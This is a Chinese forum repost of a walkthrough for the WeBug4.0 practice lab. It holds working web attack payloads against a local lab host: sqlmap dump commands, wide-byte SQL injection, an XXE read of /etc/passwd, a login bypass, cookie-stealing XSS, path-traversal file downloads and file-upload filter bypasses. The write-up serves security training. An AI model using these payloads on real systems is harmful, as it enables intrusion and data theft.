跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于
WeBug4.0是基于基于PHP/mysql制作搭建而成的一个web靶场环境。里面包含了常见的XSS SQL 文件上传等常见的漏洞。是新手练习web肾透测试的不二之选。

安装

首先到github上面下载源码,下载完成后放到站点根目录/var/www/html新建三个数据库

create database webbug
create database webbug_sys
create database webug_width_byte

然后将data目录下面的数据库文件,分别导入对应的数据库即可。
浏览器访问主机IP,用户名和密码均为admin成功登录后台。
53601952.png

SQL注入部分

01显错注入

我们在?id=1后面添加'号,即可报错。我们可以构造手动注入语句,也可以利用sqlmap注入。
为了不那么麻烦,这里我直接用神器sqlmap来一梭子!

sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" --dbs #查询数据库

一路直接Y即可!如下图,直接爆出数据库。
3565663541.png
爆出表

sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug --tables

185742966.png
爆出表结构和数据

sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug -T flag --columns
sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug -T flag -C "id,flag" --dump

649700699.png

02 布尔注入

怎么判断页面是否存在布尔注入型注入呢?
我们先正常访问,效果如下:
2979874459.png
当后面输入 and 1=2 进行逻辑判断时,效果如下:
2314059394.png
这时,我们发现虽然没有报错,但是页面显示的不全。这便是所谓的布尔注入注入。
利用方法和第一步一样。

03 延时注入

没有多大卵,和前面一样,在sqlmap中执行同样的命令即可。
2687071281.png

04 post注入

进入页面后,有一个搜索框。随便输入内容点击搜索。然后在burp中抓包!
2280887963.png
将抓到包保存为txt文件,在sqlmap中执行命令

sqlmap -r "11.txt" --dbs

1894977607.png
后面的也就一样了。

05 过滤注入

和上一关一样,没有多大的技术含量。
3951398838.png

06宽字节注入

宽字节是指多个字节宽度的编码,如UNICODE、GBK、BIG5等。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。
如果编码是GBK,我们在前面加上 %df' ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。
注入
我们首先利用BURP对当前页抓包。
报错数据库

%df' union select 1,database() %23

1573065752.png
不用burp也行,直接在浏览器地址栏中输入也行。
爆出表

%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()  %23

3163083182.png

07 xxe注入

获取Linux系统密码

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">]>
<x>&f;</x>

在搜索框中,提交xml代码即可。

08 csv注入

我的环境有问题,搞不出来,不搞了。

09 万能密码登陆

用户名和密码都输入' or 1=1#成功得到flag

xss篇

01反射型

直接构造<script>alert(大表哥牛逼)</script>
2965054464.png
flag:<script>alert(document.cookie);</script>

02 存储型

利用反射的的payload:id=<script>alert(document.cookie);</script>

03 DOM型xss

DOM型XSS不经过后端,只是在前端进行。
payload :" > <script>alert(1)</script>#
flag:" > <script>alert(documen.cookie)</script>#

04 过滤xss

用不了script标签,那么我们就换一种方法即可,换一种标签
利用img标签和onerror配合来进行绕过
payload:<img src=1 onerror=alert(document.cookie)>
3319774314.png

05 链接注入

利用XSS进行网页跳转
example:<a href=https://www.bbskali.cn>来啊~快活啊</a>
当用户点击之后,就跳转到了指定页面。
还有不用点击的呢:baidu_jgylogo3.gif

任意文件下载

点击下载按钮,进行抓包。
可以到达下载的文件位置为template/assets/img/1.txt
798689785.png
这时,我们可以尝试下载系统中的任意文件,如sql/webug.sql文件,修改包中的数据为
sql/webug.sql,然后放包!
4244263898.png

mysql配置文件下载

同样的道理构造下载mysql的配置文件
payload:file=../Extensions/MySQL5.7.26/my.ini
4129758366.png

文件上传

01 文件上传(前端拦截)

我们先直接尝试上传php文件,提示如下
1733107264.png
右键审查元素,我们可以看到只限上传格式为image

<script type="application/javascript">
    function type_filter(files) {
        if (files[0].type.split("/")[0] == "image") {
            return true;
        } else {
            document.getElementById("file").value = "";
            alert("不允许上传该格式类型");
            return false;
        }
    }
</script>

对input分析

<input type="file" name="file" id="file" onchange="type_filter(this.files)">

我我们只需要删除onchange="type_filter(this.files)"即可!
3689695805.png

02 解析漏洞

这个和apache以及nginx的配置有关,原理是将PHP文件保存为jpg格式,通过nginx的解析漏洞,将jpg文件解析为php文件。
环境所限,搞不了。

03 文件上传(畸形文件)

通过阅读源码,发现对php文件做了过滤

if (strstr($file_ext, "php")) {
        $file_ext = str_replace("php", "", $file_ext);
    }

我们可以利用.pphphp双写形式绕过。
92386336.png

04 文件上传(截断上传)

在repeater里面将文件名改为 shell2.php龘.jpg,send(环境因素 未成功。)


版权属于:逍遥子大表哥

本文链接:https://blog.bbskali.cn/3274.html

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。